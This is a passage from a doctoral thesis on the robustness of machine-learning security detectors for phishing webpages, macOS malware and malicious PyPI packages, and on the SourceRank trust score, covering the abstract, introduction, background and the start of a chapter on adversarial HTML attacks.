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Abstract

Machine learning (ML) has become a cornerstone of modern cybersecurity,
enabling the automatic detection of complex and evolving threats across
multiple domains such as malware analysis, phishing, and software supply-
chain security. However, unlike traditional applications, ML-based defenses
in cybersecurity operate in inherently adversarial environments, where at-
tackers continuously adapt to evade detection. This tension exposes funda-
mental weaknesses in current ML-based systems, which often perform well
under standard conditions but fail when confronted with adaptive adver-
saries.

This thesis explores the limits and potential of ML in adversarial cy-
bersecurity through a systematic study of robustness, adaptability, and re-
liability across several key domains, including phishing webpage detection,
macOS malware detection, and software supply-chain security. We identify
five core challenges: (i) the fragile robustness of detectors under realis-
tic adversarial manipulations; (ii) the limited understanding of adversarial
training (AT) in practical security contexts; (iii) the lack of adaptability
to stakeholders with different tolerance levels for false positives and detec-
tion priorities; (iv) the unclear role of domain-specific features in achieving
long-term generalization and resilience to evolving threats; and (v) the un-
reliability of ecosystem-level trust and reputation metrics that can be easily
manipulated to disguise malicious samples as legitimate.

To address these challenges, this thesis introduces frameworks for design-
ing realistic, functionality-preserving attacks that reveal hidden weaknesses
of ML-based detectors for phishing webpages and malicious packages; in-
vestigates how AT and adaptive configurations can balance robustness and
operational constraints in software supply-chain security; demonstrates the
importance of domain knowledge and tailored features for effective macOS
malware detection; and highlights the fragility of reputation-based trust
mechanisms in open-source ecosystems.

Overall, this thesis highlights both the opportunities and pitfalls of ap-



plying machine learning to cybersecurity. By exposing weaknesses and
proposing improved adversary-aware methodologies, it contributes to build-
ing more robust and trustworthy defenses against evolving adversarial threats.



Résumé

L’apprentissage automatique (ML) est devenu un pilier de la cybersécu-
rité moderne, permettant la détection automatique de menaces complexes
et évolutives dans de nombreux domaines tels que l’analyse des logiciels
malveillants, le phishing et la sécurité de la chaîne d’approvisionnement
logicielle. Cependant, contrairement aux applications traditionnelles, les
défenses basées sur le ML en cybersécurité opèrent dans des environnements
intrinsèquement conflictuels, où les attaquants s’adaptent en permanence
pour échapper à la détection. Cette tension met en évidence les faiblesses
fondamentales des systèmes actuels basés sur le ML, qui fonctionnent sou-
vent bien dans des conditions standard, mais échouent face à des adversaires
adaptatifs.

Cette thèse explore les limites et le potentiel du ML en cybersécurité con-
flictuelle à travers une étude systématique de la robustesse, de l’adaptabilité
et de la fiabilité dans plusieurs domaines clés, notamment la détection
des pages web de phishing, la détection des logiciels malveillants sous ma-
cOS et la sécurité de la chaîne d’approvisionnement logicielle. Nous iden-
tifions cinq défis majeurs: (i) la robustesse fragile des détecteurs face à
des manipulations conflictuelles réalistes; (ii) la compréhension limitée de
l’apprentissage automatique antagoniste (AT) dans des contextes de sécu-
rité pratiques; (iii) le manque d’adaptabilité face aux différents niveaux
de tolérance aux faux positifs et aux priorités de détection des parties
prenantes; (iv) le rôle flou des fonctionnalités spécifiques au domaine dans
la généralisation et la résilience à long terme face à l’évolution des menaces;
et (v) le manque de fiabilité des indicateurs de confiance et de réputation à
l’échelle de l’écosystème, qui peuvent être facilement manipulés pour mas-
quer des échantillons malveillants comme légitimes.

Pour relever ces défis, cette thèse présente des cadres de conception
d’attaques réalistes et préservant les fonctionnalités, révélant les faiblesses
cachées des détecteurs basés sur l’apprentissage automatique pour les pages
web de phishing et les packages malveillants; étudie comment les tech-



nologies d’assistance et les configurations adaptatives peuvent concilier ro-
bustesse et contraintes opérationnelles dans la sécurité de la chaîne d’approv-
isionnement logicielle; démontre l’importance de la connaissance du domaine
et des fonctionnalités sur mesure pour une détection efficace des logiciels
malveillants sous macOS; et souligne la fragilité des mécanismes de confi-
ance basés sur la réputation dans les écosystèmes open source.

Dans l’ensemble, cette thèse met en lumière les opportunités et les pièges
de l’application de l’apprentissage automatique à la cybersécurité. En ex-
posant les faiblesses et en proposant des méthodologies améliorées de détec-
tion des adversaires, il contribue à construire des défenses plus robustes et
plus fiables contre les menaces adverses en constante évolution.
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Chapter 1

Introduction

1.1 Context and Motivation

The rapid evolution of cyber threats continues to challenge the security of
digital ecosystems. Adversaries are constantly developing new techniques
to compromise systems, distribute malware [66, 173, 87, 163], or infiltrate
software supply chains [155, 35, 63, 165]. For instance, recent high-profile
supply chain attacks targeting the npm ecosystem [165] have highlighted
the potential for widespread impact when trusted software components are
subverted. This year has also seen a surge in infostealer malware targeting
macOS underlining the increasing sophistication of threats on traditionally
less-targeted platforms [87, 53].

At the same time, defenders increasingly rely on methods based on ma-
chine learning (ML) to automate detection and prevention tasks at scale.
ML detectors are now widely applied in domains such as malware anal-
ysis [166, 44, 80], phishing detection [42, 16, 1], web application protec-
tion [24, 120, 149], and the vetting of software supply chains [89, 190, 192].

Despite their promising performance in standard evaluations, such sys-
tems often operate under adversarial conditions [25, 128]. Indeed, attackers
have strong incentives to craft evasive samples, exploit blind spots in de-
tectors, or abuse trust assumptions at the ecosystem level. As a result,
the security community faces two intertwined challenges: (i) evaluating the
robustness of ML-based defenses under realistic adversarial conditions, and
(ii) designing defenses e.g., based on adversarial training (AT) [25, 104],
which can withstand adaptive attackers.

Addressing these challenges is further complicated by the need to con-
sider the specific operational constraints when deploying ML-based defenses
in practice. This requires embedding adaptability into detection systems

1
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Figure 1.1: Graphical overview of the five key challenges (C1-C5) addressed
in this thesis for a typical ML-based cybersecurity detection system.

to cater to stakeholders with varying tolerances for false positives and de-
tection priorities. This is particularly relevant in the context of software
supply-chain security and malware detection since they are often deployed
in diverse environments, from individual users to large enterprises [174, 137].

Moreover, the effectiveness of ML-based defenses often hinges on the
choice of features used to represent data [80, 77, 26]. Hence, one may
raise the question of how domain-specific features impact the generalization
capabilities of detectors over time, i.e., robustness to concept drift [78, 4],
especially in domains such as malware detection where threats continuously
evolve.

Finally, beyond individual detectors, software ecosystems increasingly
employ reputation or trust-based metrics (e.g., popularity, maintainability)
to guide user decisions [94, 92, 93] and select samples for training machine
learning models [89]. Yet these signals can be vulnerable to manipulation
and may continue to rank malicious samples as trustworthy. This is partic-
ularly concerning in different domains, from software supply chains, where
trust metrics influence the selection, validation and adoption of open-source
packages [29, 123, 89, 92], to malware detection, where attackers can ma-
nipulate crowd-sourced antivirus labels or poison datasets used to train
malware detectors [91, 152].

In the following sections, we detail the five key challenges addressed in
this thesis (graphically highlighted in Figure 1.1), summarize our key contri-
butions represented in four main studies, and discuss broader implications
for the field of adversarial machine learning in security. Moreover, as shown
in Figure 1.2, this thesis is structured around four main studies, each one
addressing one or more challenges outlined below.

By analyzing different domains, proposing systematic evaluation frame-
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Figure 1.2: Overview of the thesis structure showing how each study (S1–S4)
addresses specific challenges (C1–C5) in machine learning for cybersecurity.

works, and introducing novel adversarially-aware detection methods, this
thesis contributes to a more robust understanding of how machine learning
can—and cannot—be relied upon in adversarial cybersecurity contexts.

1.2 Challenges

The integration of ML into a cybersecurity detection system raises several
fundamental challenges (see Figure 1.1), which we address in this thesis:

[C1] Fragile robustness under adversarial manipulation. Many pro-
posed detectors appear robust under standard evaluations but collapse when
faced with realistic adversarial attacks that preserve functionality while
evading detection [115, 47]. For instance, carefully obfuscated code may
be used to evade malicious package detectors, or manipulating the HTML
structure of a malicious phishing webpage can be effective in bypassing a
phishing webpage detector. Evaluations that fail to account for such adver-
sarial strategies risk a false sense of security. Moreover, a growing body of
research has shown that many proposed detectors appear robust under stan-
dard evaluations but collapse when faced with realistic adversarial attacks
that preserve functionality while evading detection [47, 101, 48, 67, 50].
However, in many security domains, the design of such attacks is non-trivial,
as they must ensure that adversarial attacks preserve the original function-
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ality and semantics of the input data [47, 135], hence requiring a deep un-
derstanding of the domain and the input structure (e.g., HTML code, source
code syntax, executable file format). Also, a clear understanding of such
adversarial attacks would open the door to more effective countermeasures,
for instance, by leveraging AT.

We address this challenge in two distinct domains: phishing detec-
tion (see Chapter 3) and software supply-chain security (see Chapter 4),
where we design novel realistic adversarial attacks based on fuzzing tech-
niques [189] that integrate functionality-preserving manipulations and a
query-efficient optimization algorithm to generate adversarial examples that
can effectively evade state-of-the-art detectors.

[C2] Lack of evidence on the effectiveness of AT in practical set-
tings. While AT has shown promising results in improving robustness in
some common domains (e.g., image classification) [104, 182, 177], its ef-
fectiveness in several cybersecurity domains such as software supply-chain
security remains underexplored and poorly understood. Moreover, AT may
introduce trade-offs, such as reduced accuracy on clean inputs, which need
to be carefully evaluated in practical settings.

We address this challenge in the context of software supply-chain security
(see Chapter 4), where we thoroughly evaluate the effectiveness of AT both
against the proposed adversarial attacks and in terms of its impact on clean
input performance.

[C3] Lack of adaptability to diverse operational contexts. Secu-
rity solutions must serve stakeholders with different needs and tolerances.
For instance, in the domain of supply chain security, a package maintainer
may require extremely low false positives to avoid triage overload, while
enterprise security teams may accept higher false positives to minimize un-
detected threats [174]. Thus, adaptability must be embedded in detection
systems. We address this challenge in the domain of software supply-chain
security, specifically on malicious package detection (see Chapter 4).

[C4] Limited understanding of how domain-specific features im-
pact generalization. Generic features may fail to capture domain-specific
characteristics that are critical for resilience and generalization over time in
classifying novel samples. This is particularly relevant in malware detection,
where threats continuously evolve [53, 78]. Thus, in this thesis, we inves-
tigate this research challenge in the emerging domain of macOS malware
detection (see Chapter 5).



1.3. Contributions and Studies 5

[C5] Unreliability of ecosystem-level trust mechanisms. Beyond
standalone detection systems based on machine-learning solutions, modern
software ecosystems rely heavily on reputation and trust metrics, such as
popularity, to support and automate user decisions. Yet, these metrics can
be manipulated, allowing malicious artifacts to appear trustworthy. This is
particularly concerning in software supply chains, where trust metrics influ-
ence the adoption and ranking of software packages [94, 92, 89, 75]. Hence,
in this thesis, we investigate the reliability of the SourceRank score [2],
a popular trust metric used in the open-source supply-chain ecosystem,
against evasion attacks (see Chapter 6).

1.3 Contributions and Studies

This thesis addresses the challenges described above through a series of
studies (see Figure 1.2), each one focusing on a specific domain and a set of
challenges presented above.

[S1] Query-Efficient Adversarial HTML Attacks on Machine-Learn-
ing Phishing Webpage Detectors (Chapter 3)
Machine-learning phishing webpage detectors (ML-PWD) are vulnerable to
adversarial manipulations of HTML code, yet existing attacks have demon-
strated limited effectiveness due to their lack of optimizing the usage of the
adopted manipulations, and they focus solely on specific elements of the
HTML code.

We address these gaps by introducing a novel set of functionality- and
rendering-preserving manipulations, combined with a query-efficient black-
box optimization algorithm.

Our experiments show that with only 30 queries, our attacks can drive
the detection rate of state-of-the-art ML-PWD to zero, enabling a more
realistic evaluation of their robustness.

This study and its findings are published in [115]:

Biagio Montaruli, Luca Demetrio, Maura Pintor, Luca Compagna, Da-
vide Balzarotti, and Battista Biggio. “Raze to the Ground: Query-
Efficient Adversarial HTML Attacks on Machine-Learning
Phishing Webpage Detectors”. In 16 th ACM Workshop on Arti-

ficial Intelligence and Security (AISec’ 23 ), 2023 .
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[S2] Robust and Adaptive Detection of Malicious Packages from
PyPI to Enterprises (Chapter 4)
Supply chain attacks through malicious Python packages are rapidly in-
creasing, yet current detection approaches lack robustness to adversarial
code obfuscations and flexibility across stakeholders with different false pos-
itive requirements.

To fill these gaps, we propose a robust and adaptable detector that
leverages AT with a novel set of fine-grained source code manipulations.

A large-scale experiment on more than 122K PyPI packages reveals the
double-edged sword effect of AT: while it increases robustness by 2.5× and
boosts the detection of obfuscated malware by 10%, it also leads to a small
drop in clean-sample accuracy. To demonstrate practical adaptability, we
deploy our detector in two scenarios:

• PyPI maintainers: minimizing false positives (tuned at 0.1% FPR)
to avoid overwhelming triage effort. It detects 2.48 malicious packages
daily with ∼2 false positives.

• Enterprise security team: prioritizing high detection rates, even
at the cost of higher FPR (tuned at 10% FPR), achieving ∼1 false
alert per day.

Overall, our detector uncovered 346 malicious packages, demonstrating ro-
bustness, scalability, and deployability in both public repositories and en-
terprise environments.

This study and its findings are published in [114]:

Biagio Montaruli, Serena Elisa Ponta, Luca Compagna and Davide
Balzarotti. “One Detector Fits All: Robust and Adaptive Detec-
tion of Malicious Packages from PyPI to Enterprises”. In 2025

IEEE Annual Computer Security Applications Conference (ACSAC). De-

cember 2025 .

[S3] The Role and Generalization Power of Domain-Specific Fea-
tures in macOS Malware Detection (Chapter 5)
Current research on malware detection has largely overlooked macOS, de-
spite its rising popularity and the increasing sophistication of its threats.

To fill this gap, we introduce the first machine learning detector lever-
aging macOS-specific static features (e.g., certificates, entitlements, persis-
tence techniques, system APIs) and evaluate it on a new dataset of 41,129
executables. Our detector achieves 98.5% accuracy, improving detection
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rates by 16% over state-of-the-art solutions, and an in-depth feature analy-
sis highlights the key role of domain-specific features.

A real-world evaluation on 9,000 fresh binaries shows that our detec-
tor (i) maintains a very high detection rate (99.50%), (ii) outperforms the
state-of-the-art by 50%, and (iii) the domain-specific features are crucial for
generalizing to novel malware samples, as their removal leads to a 15.92%
drop in detection performance.

This study and its findings are published in [118]:

Biagio Montaruli, Andrea Oliveri, Savino Dambra and Davide Balzarotti.
“The Role of Domain-Specific Features in Malware Detection:
A macOS Case Study”. In 21st ACM Asia Conference on Computer

and Communications Security (ASIA CCS ’26). June 2026 .

[S4] A large-scale analysis on the SourceRank (un)reliability in
the PyPI ecosystem (Chapter 6)
This study presents the first systematic analysis of SourceRank, a well-
known ranking score used to assess the trustworthiness of open-source pack-
ages. We propose a threat model of the SourceRank score inspired by ad-
versarial machine learning and identify several evasion techniques, including
the novel URL confusion technique that consists in exploiting a URL point-
ing to a legitimate project.

Our large-scale study reveals the unreliability of SourceRank: while his-
torical data (i.e., MalwareBench) shows a clear separation between benign
and malicious packages, in a real-world scenario the distributions overlap
significantly, mainly because it often does not reflect the removal of mali-
cious packages from PyPI, even after several months.

We further find that URL confusion is an emerging attack vector, in-
creasing in prevalence and significantly inflating the trustworthiness of ma-
licious packages when combined with other evasion techniques.

This study and its findings are published in [119]:

Biagio Montaruli, Serena Elisa Ponta, Luca Compagna and Davide
Balzarotti. “SourceBroken: A large-scale analysis on the
(un)reliability of SourceRank in the PyPI ecosystem”. In 41st

ACM/SIGAPP Symposium on Applied Computing (SAC ’26). March

2026 .
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1.4 Thesis Outline

In this first chapter, we presented the context and motivations behind this
thesis, the key challenges in the field, and our contributions to address them.
Chapter 2 introduces the necessary background for this dissertation. The
following four Chapters (3, 4, 5, 6) present the studies summarized above
that form the core of this thesis. Finally, Chapter 7 summarizes the key
findings and outlines directions for future research.



Chapter 2

Background

2.1 Introduction

Machine learning has rapidly emerged as a key technology for cybersecu-
rity, enabling scalable and adaptive detection of evolving threats. Unlike
traditional domains, however, security applications operate in adversarial
settings, where attackers actively probe and manipulate systems to evade
detection. This raises fundamental challenges of robustness and trustwor-
thiness that are critical to the effective deployment of machine learning in
practice. This chapter first provides an essential background on adversarial
machine learning, with a focus on adversarial training, a core defense tech-
nique used throughout this thesis. Then it summarizes the state of the art
across the domains covered in this thesis: phishing detection, macOS mal-
ware detection, and software supply-chain security. We remind the reader
that each of these domains is covered in the following chapters, where we
provide a more detailed background and related work specific to that do-
main.

2.2 Adversarial Machine Learning

Adversarial machine learning (AML) studies how machine-learning systems
behave in the presence of intelligent and adaptive adversaries who actively
attempt to subvert them. This is especially relevant in security contexts,
where attackers have both the motivation and capability to adapt to de-
ployed defenses. Foundational works formalized the AML landscape, defin-
ing threat models and categorizing attacks based on the attacker’s goals,
knowledge, and capabilities [25, 128]. Subsequent research further demon-
strated the feasibility of adversarial attacks across domains, from computer

9
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vision [130, 62, 32, 136] to malware detection [49, 46, 101].

2.2.1 Threat Models and Attack Taxonomy

Attacks can be categorized along several axes [25, 128]:

• Goal: evasion (manipulating test-time inputs), poisoning (corrupting
training data), or privacy/inference attacks.

• Knowledge: white-box (attacker knows the model internals) vs black-
box (only outputs are observable), with black-box cases further split
into score-based and decision-based.

• Scope: targeted vs untargeted misclassification.

• Efficiency: query-efficient vs costly attacks, and transferability-based
attacks exploiting the generalization of adversarial examples across
models [130, 50].

Evasion Attacks in the Problem Space. Among the various types of
attacks, evasion attacks are the most relevant in security contexts, where
attackers seek to evade detection by manipulating malicious inputs (e.g.,
malware binaries, phishing webpages, SQL injection payloads) in order to
bypass machine-learning-based defenses. In this thesis, we focus on evasion
(a.k.a. adversarial) attacks in which, specifically to the cybersecurity do-
main, the attacker aims to modify a malicious input at test time to have
it misclassified as benign by the target model. Adversarial attacks can be
broadly categorized into two types: feature-space attacks and problem-space
attacks. Feature-space attacks manipulate the input’s feature representation
directly, often using gradient-based methods to find minimal perturbations
that cause misclassification [62, 32, 136]. While effective in some contexts,
feature-space attacks may produce unrealistic inputs that do not correspond
to valid real-world samples, limiting their practical applicability in security
domains. Problem-space attacks, on the other hand, operate directly on the
raw input data (rather than on abstract feature vector representation of the
input), applying manipulations that must preserve the input’s functionality
and semantics. Moreover, problem-space attacks are typically performed in
the black-box setting, where the attacker can only query the target model
and observe its outputs (e.g., class labels or confidence scores).

In summary, black-box problem-space attacks consist of two main com-
ponents:
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• Functionality-preserving manipulations: A set of domain-specific ma-
nipulation functions that can be applied to the input while preserving
its validity and semantics.

• Optimization algorithm: A black-box optimization algorithm to search
for the optimal sequence of manipulations that maximizes the likeli-
hood of evading detection. This can be done using techniques such
as genetic algorithms [49], reinforcement learning [6, 67], or fuzzing-
based approaches [48, 54, 115].

It is worth noting that problem-space attacks are characterized by two
main challenges:

• Semantic and functionality preservation: The manipulations applied
to the input must ensure that the generated input remains semanti-
cally valid and effective for the attacker’s goals. This is not trivial
and requires careful study of the domain and design of appropriate
manipulation functions. For example, in the case of Windows mal-
ware, manipulations must preserve the executable’s file format (i.e.,
Windows PE) [49, 46, 101].

• Query efficiency: A key challenge in black-box attacks is the limited
number of queries that can be made to the target model, as each query
may incur a cost (e.g., time, money, or risk of detection). This neces-
sitates the development of efficient attack strategies that can achieve
high success rates with minimal queries, as well as effective manipula-
tion functions that can produce strong attacks, i.e., significant changes
in the model’s output with few modifications.

In this thesis, we address the first challenge by proposing a compre-
hensive set of novel functionality-preserving manipulations inspired by real-
world evasion techniques in two underexplored domains, phishing detection
(see Chapter 3) and software supply-chain security (see Chapter 4).

Moreover, to address the second challenge of query efficiency, we also
propose a novel query-efficient black-box optimization algorithm inspired
by fuzzing techniques to effectively generate problem-space adversarial ex-
amples with a very limited number of queries (30 in our experiments) to the
target model (see Section 3.4.2 for details).

The proposed manipulations combined with our novel optimization al-
gorithm enable the generation of strong and query-efficient problem-space
adversarial attacks, successfully evading state-of-the-art detectors in both
the phishing detection (see Chapter 3) and software supply-chain security
(see Chapter 4) domains.
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Algorithm 1: Problem-space adversarial training of a machine
learning model f based on a black-box optimization algorithm.

Input : D = (zi, yi)M
i=1, the training set of samples with labels;

f , the ML model; L, the loss function; N , the number of
adversarial examples to be added to the initial training set.
Output: fw⋆ , the model with re-trained parameters w⋆

1 Z ′ ← {zi}Ni=1 with zi ∼ D s.t. yi = +1
2 for z in Z ′

3 z⋆ ← optimizer(z, f)
4 Z ← Z ∪ {z⋆}; Y ← Y ∪ {+1};
5 w⋆ ← arg minw

1
|Z|

∑︁|Z|
i=0 L(yi, fw(zi))

6 return fw⋆

2.2.2 Defenses and Adversarial Training

Defenses against adversarial attacks include preprocessing [194, 141], certi-
fied robustness [122, 96, 40, 60], and adversarial training (AT) [104, 182,
177]. In this thesis, we focus on AT because it stands out as the most prac-
tically effective paradigm [104, 149, 103], making AT the de facto standard
for empirical robustness research.

This technique augments the training data with adversarial examples
with the goal to improve robustness at test time. In the common setting
of image classification, AT leverages gradient-based attacks to craft adver-
sarial examples, as the corresponding optimization problem is end-to-end
differentiable. This is not directly applicable to several security domains
covered in this thesis, namely phishing [115], malware detection [49, 46] and
software supply-chain security [88, 89, 115], in which models are not end-
to-end differentiable (given the presence of non-differentiable pre-processing
and feature extraction steps) and the adopted manipulations are not addi-
tive. To address these challenges, we leverage problem-space AT, which
integrates into the training process the adversarial examples generated us-
ing problem-space attack methodology described above.

Formally, we consider here a more general problem-space AT procedure,
defined as:

min
w

max
δi∈∆

∑︂
i

L(yi,fw(ϕ(h(zi, δi))) , (2.1)

where h(z, δ) is a manipulation function that modifies the input sample z
and returns a semantic-preserving input z′, based on the choice of its opti-
mization parameters δ ∈ ∆. The set ∆ constrains the set of manipulations.
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To solve the problem given in Equation 2.1, we leverage a methodology
(see Algorithm 1) based on a gradient-free black-box optimization algorithm.

Given a dataset Z of benign and malicious samples labeled as 0 and 1
respectively, we first create a new set (Z ′) by randomly sampling a given
amount of malicious samples from the training dataset (line 1). Then, for
each malicious sample of this newly created set, we use the optimizer (for
both the phishing and software supply-chain security domains, we use the
black-box algorithm described in Section 3.4.2) to generate the correspond-
ing adversarial example (line 3) and add it to the training data with its
malicious (+1) label (line 4). The parameters of the model are finally opti-
mized on the training set including the adversarial examples (line 5).

Problem-space AT, however, raises several challenges:

• Robustness-accuracy trade-off: Models trained with aggressive adver-
sarial perturbations may generalize better to adaptive attackers but
often lose performance on clean inputs.

• Transferability: Adversarial examples generated for one model may
not transfer well to other models, limiting the effectiveness of AT in
practice.

In this thesis, we focus on the software supply-chain security domain (see
Chapter 4). Specifically, we do not only assess the effectiveness of AT in
improving robustness against the proposed attacks, but we also thoroughly
investigate the robustness-accuracy trade-off, showing that problem-space
AT has a double-edged effect: while it improves robustness against adaptive
attackers, it may also lead to reduced accuracy on clean inputs.

Finally, it is worth remarking that the problem-space AT approach de-
scribed above is general and can be applied to any domain where problem-
space adversarial attacks can be defined. Indeed, it has been successfully
applied for the first time in the context of web application firewalls (WAFs)
in the following paper1, where we propose ModSec-AdvLearn, a novel ro-
bust machine learning-based web application firewall (WAF) that leverages
AT to enhance robustness against state-of-the-art adversarial SQL injection
attacks up to 85%.
Giuseppe Floris, Christian Scano, Biagio Montaruli, Luca Demetrio,
Andrea Valenza, Luca Compagna, Davide Ariu, Luca Piras, Davide
Balzarotti, and Battista Biggio. “ModSec-AdvLearn: Countering
Adversarial SQL Injections With Robust Machine Learning”.
In IEEE Transactions on Information Forensics and Security. 2025.

1The author of this thesis is one of the co-authors of this paper.
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2.3 Phishing Detection

Phishing remains a prevalent and evolving form of cybercrime, with phishing
webpages widely used to steal sensitive user information [82, 157, 140, 16].
While blocklists have traditionally been employed [138, 126], they are easily
bypassed by adaptive attackers [168], prompting the adoption of machine
learning-based phishing webpage detectors (ML-PWD) [164, 124, 74, 71].
Recent studies, however, have shown that ML-PWD are vulnerable to adver-
sarial attacks in both the problem space (e.g., manipulating URLs, HTML
code, or visual appearance) and the feature space [98, 1, 21, 18]. Notably,
SpacePhish [16] provided the first comprehensive benchmark of adversarial
attacks against ML-PWD, but its evaluation is limited by two factors: (i) it
does not consider problem-space adversarial attacks, and (ii) it relies on a
small set of cheap manipulations, many of which are ineffective or even coun-
terproductive. In this thesis, we address these limitations by proposing a
novel set of functionality- and rendering-preserving manipulations (see Sec-
tion 3.4.1) and a query-efficient black-box optimizer to generate optimized
problem-space adversarial attacks that can completely evade state-of-the-art
ML-PWD using only 30 queries (see Chapter 3 for details).

2.4 macOS Malware Detection

The adoption of macOS in enterprise environments has grown steadily, with
recent surveys showing that it is now deployed in 76% of large US businesses
and is projected to become the dominant enterprise endpoint OS by 2030 [51,
179]. This popularity has been accompanied by the rise of macOS-targeting
malware, with 2024 witnessing significant growth in infostealers and the
first widespread targeting of Apple’s arm64 architecture via native binaries
or universal fat files [121, 161]. These trends have motivated researchers to
adapt malware detection approaches, often machine learning-based, to the
macOS ecosystem.

However, at present, macOS malware detection research [129, 146, 58,
36, 166] remains limited: all studies rely on small, proprietary datasets
and are also limited to generic static features such as strings, byte n-grams,
and file-level statistics, overlooking macOS-specific properties of the Mach-
O file format [158], i.e., the native executable format for macOS binaries.
In this thesis, we address these limitations by collecting a large dataset of
41,129 macOS binaries and designing a new ML-based detector that lever-
ages macOS-specific features such as code signing certificates, entitlements,
persistence mechanisms, and key system APIs. Thanks to this novel feature
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set, our detector achieves state-of-the-art performance, significantly outper-
forming prior work, and demonstrates strong generalization capabilities on
novel samples (see Chapter 5 for details).

2.5 Software Supply-Chain Security

Software supply-chain attacks have emerged as one of the most pressing
threats to modern software ecosystems. The 2024 Sonatype report high-
lighted a 156% year-over-year increase in malicious packages, with more
than 512,000 newly identified in a single year [155]. PyPI, the primary
repository for Python packages, has been a recurring target, facing waves of
malicious uploads that even forced a temporary suspension of new project
creation and user registration [35, 63]. The timely detection of malicious
packages is therefore critical to preventing large-scale harm. Recent re-
search has explored machine learning-based solutions for supply-chain se-
curity [89, 190, 97, 192, 70, 72], but two key challenges remain unre-
solved. First, state-of-the-art detectors have not been evaluated for robust-
ness against adversarial manipulations of source code, despite the inherently
adversarial nature of this problem, nor they have they explored adversarial
training as a potential defense. Second, existing approaches have not ad-
dressed stakeholder-specific requirements: for example, repository maintain-
ers with limited resources may prioritize minimizing false positives, while
enterprise security teams may accept higher false positive rates to maximize
coverage. These open issues underscore the need for adaptive and adver-
sarially robust detection strategies that can meet the diverse operational
needs of different stakeholders. In this thesis, we address these gaps by in-
troducing a robust and adaptive detector for malicious PyPI packages that
incorporates adversarial training to enhance robustness against code obfus-
cation techniques and can be seamlessly integrated into both public and
enterprise ecosystems (see Chapter 4 for details).

To complement automated detection mechanisms, several scoring sys-
tems have been proposed to help users identify trustworthy open-source
packages. Among these, the SourceRank score [162, 147, 2] has been widely
adopted in the literature for several purposes, e.g., to rank and select PyPI
packages [89, 162, 76], to serve as a feature to build a prediction model [75],
to infer dependencies of third-party packages [184]. However, despite its
widespread use, the robustness of SourceRank against adversarial manipu-
lation has not been systematically evaluated. In this thesis, we address this
gap by analyzing the SourceRank score through a comprehensive threat
modeling inspired to the adversarial machine learning literature [25, 128]
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and large-scale evaluation on the PyPI ecosystem (see Chapter 6 for de-
tails), revealing several evasion techniques that allow attackers to inflate
the score of malicious packages and masquerade them as trustworthy.



Chapter 3

Query-Efficient Adversarial

HTML Attacks on

Machine-Learning Phishing

Webpage Detectors

3.1 Introduction

Over the past years, we witnessed a significant increase in the number of
phishing attacks [82, 157, 140], thereby emphasizing that this remains a
significant form of cybercrime. Among all the different types of phish-
ing, this work focuses on the detection of phishing webpages, which are
typically created by an attacker to steal sensitive information such as lo-
gin credentials [16]. To counter this open problem, in addition to the
use of blocklists [138, 126] that have been demonstrated easy to bypass
by adaptive attackers [168], novel approaches based on machine-learning
[168, 164, 124, 74, 153, 71, 42] have been proposed in recent years to en-
hance the detection capabilities of phishing detection systems. However,
phishing webpage detectors based on machine-learning (i.e., ML-PWD, us-
ing the same acronym of Apruzzese et al. [16]) have been shown to be
vulnerable to adversarial attacks [16, 42, 98, 20, 1, 21, 5, 64], both in the
problem space, which is the input space of HTML pages, and the feature

space, which is the space where webpages are represented as feature vec-
tors [18, 16]. In problem-space attacks, the attacker directly manipulates
the URL [21, 20], the HTML code [95, 98] or the visual representation [1]
of the phishing webpage with physically realizable manipulations [18], while

17
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Figure 3.1: Overview of our work: we propose a novel set of adversarial
manipulations that are functionality- and rendering-preserving by design,
and a query-efficient black-box optimizer to generate HTML adversarial
attacks that are able to completely evade state-of-the-art machine-learning
phishing webpage detectors (ML-PWD).

feature-space attacks only manipulate the abstract feature representation of
input samples. To this extent, SpacePhish [16] represents one of the most
recent and comprehensive studies about adversarial attacks against ML-
PWD both in the problem and feature spaces. Indeed, its authors provide
a well-validated benchmark of state-of-the-art ML-PWD.

However, their work is characterized by two major limitations. First,
investigating how the adversarial robustness changes if the attacker is able
to optimize the adversarial attacks by querying the target ML-PWD is an
important open point of their work. Second, they use a limited set of
cheap adversarial manipulations i.e., manipulations that do not require any
knowledge about the structure of phishing webpages such as the insertion of
internal links and URL-shortening [16, 17], which result in weak or, in some
cases, even useless attacks. Indeed, the reported results show that, for some
evaluated ML-PWD, such cheap attacks (indicated as WAr in their paper)
cause the manipulated phishing webpage to appear even more malicious to
the ML-PWD.

To address the aforementioned limitations, we propose a novel method-
ology for generating optimized and query-efficient HTML adversarial at-
tacks (see Figure 3.1). Specifically, we first perform a thorough security
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analysis of the HTML features used in SpacePhish (Section 3.2), which are
widely adopted in the literature [71, 74, 111, 153], to understand how they
can be evaded. Then, in addition to the HTML manipulations proposed
in SpacePhish, we design a novel set of 14 manipulations that maintain the
original functionality [46] and rendering [57] while manipulating the HTML
code of phishing webpages (Section 3.4.1). On the basis of these manip-
ulations, we formulate a query-efficient black-box optimization algorithm
(Section 3.4.2) that generates optimized adversarial phishing webpages in
the problem space.

Finally, we validate our approach through an extensive experimental
analysis (Section 3.5), showing that our novel adversarial attacks are able
to completely evade the ML-PWD evaluated in SpacePhish using just 30
queries. To foster reproducibility, we share the source code of our work1.

To summarize, we provide the following three contributions:

• We conduct a comprehensive security analysis of the HTML features
used in SpacePhish and, on top of it, we devise a novel set of adver-
sarial manipulations that are functionality- and rendering-preserving
by design, with the goal to evade all the analyzed features.

• We propose a black-box optimizer inspired by mutation-based fuzzing
[189], which allows us to craft optimized HTML adversarial attacks
using the proposed manipulations;

• We empirically show that our methodology allows us to significantly
reduce the detection capabilities of current state-of-the-art ML-PWD
to zero using very few queries.

We conclude the paper by discussing the open points of our work, along
with promising future research directions (Section 3.6).

3.2 Background

In this section, we first give an overview of the basic structure of webpages
and then we describe the HTML features adopted in SpacePhish [16].

3.2.1 Webpage Structure

Webpages are generally described using the HTML language [175]. They
have a basic structure that consists of a tree hierarchy represented by the

1https://github.com/advmlphish/raze_to_the_ground_aisec23

https://github.com/advmlphish/raze_to_the_ground_aisec23
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HTML Document Object Model (DOM) tree [73], which is made of multiple
HTML elements corresponding to the DOM nodes. Each HTML element is
represented through (i) a single tag or a pair of (start and end) tags and
(ii) some content that includes text or other nested HTML elements. More-
over, HTML elements can have attributes consisting of name-value pairs
to provide additional information about the element. Although the HTML
specification includes many types of elements, a typical webpage (see List-
ing 3.1) includes the head (lines 3-8) and the body (lines 9-17) represented
by the <head> and <body> element, respectively. The head is used to set
the webpage title through the <title> element (line 4) and optionally to de-
fine the visual appearance of some embedded HTML elements through the
<style> element (lines 5-7). The body, instead, includes the main content
